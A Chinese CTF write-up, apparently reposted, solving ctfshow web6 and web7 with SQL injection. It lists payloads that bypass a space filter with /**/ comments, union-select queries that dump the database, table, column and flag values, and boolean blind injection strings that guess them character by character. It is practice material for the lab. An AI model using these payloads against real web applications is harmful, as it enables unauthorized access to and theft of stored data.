ctfshow web6 web7

Posted Amet

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了ctfshow web6 web7相关的知识,希望对你有一定的参考价值。

Web6

使用admin\' or 1=1# 出现sql inject error的字样 说明有些字符被拦截了 每个字符挨个尝试后 发现是空格(%20)被拦截了

空格被拦截的话可以尝试/**/来代替空格
一下就是完整的sql注入 从爆库到爆出字段值

admin\'/**/union/**/select/**/1,database()
admin\'/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()#
admin\'/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name=\'flag\'#
admin\'/**/union/**/select/**/1,group_concat(flag),3/**/from/**/flag#

 

Web7

输入id=1||1 存在整形注入

采用盲注 对每一个字母进行猜解 

id=-1/**/or/**/length(database())=4      得到数据库名字长度为4个字符

id=-1/**/or/**/ascii(substr(database(),1,1))=1      对数据库每个字符进行猜解

id=-1/**/or/**/ascii(substr((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/0,1),1,1))=1      对表名进行猜解

id=-1/**/or/**/ascii(substr((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name="flag"/**/limit/**/0,1),1,1))=1      对字段名进行猜解

id=-1/**/or/**/ascii(substr((select/**/flag/**/from/**/flag/**/limit/**/0,1),1,1))=1      对字段的值进行猜解

 

99 116 102 115 104 111 119 123 98 102 102 55 57 99 57 48 45 49 55 54 51 45 52 56 56 56 45 57 57 53 100 45 98 99 54 48 54 50 50 54 49 48 52 102 125

以上是关于ctfshow web6 web7的主要内容,如果未能解决你的问题,请参考以下文章

ctfshow-萌新-web6( 利用二进制绕过获取网站敏感信息)

ctf.show web入门(信息搜集) 1~20

CTFShow代码审计

ctfshow-WEB-web12( 利用代码执行漏洞读取敏感文件)

ctfshow web入门 信息搜集

ctfshow 做题 萌新 模块